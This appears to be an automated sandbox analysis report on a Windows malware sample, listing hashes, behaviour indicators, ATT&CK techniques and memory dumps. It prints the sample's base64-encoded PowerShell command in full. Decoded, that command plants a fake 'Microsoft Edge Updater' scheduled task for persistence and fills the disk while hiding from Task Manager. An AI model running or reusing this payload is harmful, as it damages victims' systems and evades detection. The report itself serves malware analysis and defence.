7ea499b9d73fd0419c41b533547bc6209c203a79569bf1dec0b82086f59c7dbe

Analysis

max time kernel
149s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 11:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-18_5ec6b79b9841b7045e296d24c90491fc_conti.exe
Size 100KB
Sample260718-nchakacy2t
SHA256 7ea499b9d73fd0419c41b533547bc6209c203a79569bf1dec0b82086f59c7dbe
MD5 5ec6b79b9841b7045e296d24c90491fc
SHA1 21a607ad28fbec867c84a9d4df9cda26a829022e
SHA512 65bcb488dffb4d6f577d31a47a19891709b4512f90902898289f8d36bb545fff23bb20d8fe6b5dbd01b2eaf74bd5f331d7c482e4563316f766f681a5d4f2be76
SSDEEP 1536:UcBq2f466GtZD5i/Wf1OXcSeMq0wa4N3Mm5Zo6qS5DeX7FjAinwSWDKXXH9:UcBDf46hZ4+dSeMq9XzOacWgH9
TLSH
T1BFA34C86FF47A9F7C95B11308877837C0214DECB27C466171DAE963A2E660D0CE5AB93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 3676	4644	2026-07-18_5ec6b79b9841b7045e296d24c90491fc_conti.exe	87

C:\Users\Admin\AppData\Local\Temp\2026-07-18_5ec6b79b9841b7045e296d24c90491fc_conti.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-18_5ec6b79b9841b7045e296d24c90491fc_conti.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBVAHAAZABhAHQAZQByAFAAYQB0AGgAIAB7AAoAIAAgACAAIAAkAGMAdQByAHIAZQBuAHQAUABpAGQAIAA9ACAAJABQAEkARAAKAAoAIAAgACAAIAB3AGgAaQBsAGUAIAAoACQAYwB1AHIAcgBlAG4AdABQAGkAZAApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHAAcgBvAGMAIAA9ACAARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACAALQBGAGkAbAB0AGUAcgAgACIAUAByAG8AYwBlAHMAcwBJAGQAPQAkAGMAdQByAHIAZQBuAHQAUABpAGQAIgAKAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAHIAbwBjAC4ATgBhAG0AZQAgAC0AZQBxACAAIgBVAHAAZABhAHQAZQByAC4AZQB4AGUAIgApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABwAHIAbwBjAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoAAoAIAAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAIAAkAGMAdQByAHIAZQBuAHQAUABpAGQAIAA9ACAAJABwAHIAbwBjAC4AUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwBJAGQACgAgACAAIAAgAH0ACgAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwACgB9AAoACgAkAHMAbwB1AHIAYwBlACAAPQAgAEcAZQB0AC0AVQBwAGQAYQB0AGUAcgBQAGEAdABoAAoACgBpAGYAIAAoACQAcwBvAHUAcgBjAGUAIAAtAGEAbgBkACAAJABzAG8AdQByAGMAZQAgAC0AbgBvAHQAbABpAGsAZQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAKgAiACkAIAB7AAoAIAAgACAAIAAkAGQAZQBzAHQAaQBuAGEAdABpAG8AbgBGAG8AbABkAGUAcgAgAD0AIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAAtAEQAaQByAGUAYwB0AG8AcgB5ACAAfAAgAEcAZQB0AC0AUgBhAG4AZABvAG0ACgAgACAAIAAgACQAZABlAHMAdABpAG4AYQB0AGkAbwBuACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABkAGUAcwB0AGkAbgBhAHQAaQBvAG4ARgBvAGwAZABlAHIALgBGAHUAbABsAE4AYQBtAGUAIAAiAFUAcABkAGEAdABlAHIALgBlAHgAZQAiAAoACgAgACAAIAAgAEMAbwBwAHkALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABzAG8AdQByAGMAZQAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJABkAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAtAEYAbwByAGMAZQAKAAkACgAJAGkAZgAgACgALQBuAG8AdAAgACgARwBlAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBkAGcAZQAgAFUAcABkAGEAdABlAHIAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApACkAIAB7AAoACQAJACQAYQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJABkAGUAcwB0AGkAbgBhAHQAaQBvAG4ACgAJAAkAJAB0AHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuAAoACgAJAAkAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgBNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAIABVAHAAZABhAHQAZQByACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAKAAkAfQAKAH0ACgAKACQAbwB0AGgAZQByAEYAbwBsAGQAZQByACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgAC0ARABpAHIAZQBjAHQAbwByAHkAIAB8AAoAIAAgACAAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIAAtAG4AZQAgACQAZABlAHMAdABpAG4AYQB0AGkAbwBuAEYAbwBsAGQAZQByAC4ARgB1AGwAbABOAGEAbQBlACAAfQAgAHwACgAgACAAIAAgAEcAZQB0AC0AUgBhAG4AZABvAG0ACgAkAHAAYQB0AGgAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAG8AdABoAGUAcgBGAG8AbABkAGUAcgAuAEYAdQBsAGwATgBhAG0AZQAgACIAZABhAHQAYQAuAGIAaQBuACIACgAKACQAcwB0AHIAZQBhAG0AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgAoACQAcABhAHQAaAAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUATQBvAGQAZQBdADoAOgBBAHAAcABlAG4AZAApAAoACgB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApACAAewAKAAkAJABiAHkAdABlAHMAVABvAEEAZABkACAAPQAgACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AaQBtAHUAbQAgADEAMAAwAE0AQgAgAC0ATQBhAHgAaQBtAHUAbQAgADUAMAAwAE0AQgApAAoACQBpAGYAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACIAVABhAHMAawBtAGcAcgAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7AAoACQAJAGMAbwBuAHQAaQBuAHUAZQAKAAkAfQAKAAkAJABzAHQAcgBlAGEAbQAuAFMAZQB0AEwAZQBuAGcAdABoACgAJABzAHQAcgBlAGEAbQAuAEwAZQBuAGcAdABoACAAKwAgACQAYgB5AHQAZQBzAFQAbwBBAGQAZAApAAoACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMgA1ADAAIAAtAE0AYQB4AGkAbQB1AG0AIAA3ADAAMAApAAoAfQAKAAoAJABzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3676-15-0x0000027FF0EB0000-0x0000027FF0ECE000-memory.dmp

Download

memory/3676-26-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-5-0x0000027FF0E00000-0x0000027FF0E22000-memory.dmp

Download

memory/3676-4-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-6-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-7-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-8-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-9-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-10-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-11-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-12-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-16-0x0000027FF1240000-0x0000027FF12F2000-memory.dmp

Download

memory/3676-1-0x00007FFDE8B7F000-0x00007FFDE8B80000-memory.dmp

Download

memory/3676-18-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-29-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-19-0x0000027FF0ED0000-0x0000027FF0EDA000-memory.dmp

Download

memory/3676-21-0x0000027FF1450000-0x0000027FF1474000-memory.dmp

Download

memory/3676-20-0x0000027FF1450000-0x0000027FF147A000-memory.dmp

Download

memory/3676-22-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-24-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-25-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-17-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-27-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/3676-28-0x00007FFDE89F0000-0x00007FFDE9394000-memory.dmp

Download

memory/4644-0-0x00007FF6CAD40000-0x00007FF6CAD65000-memory.dmp

Download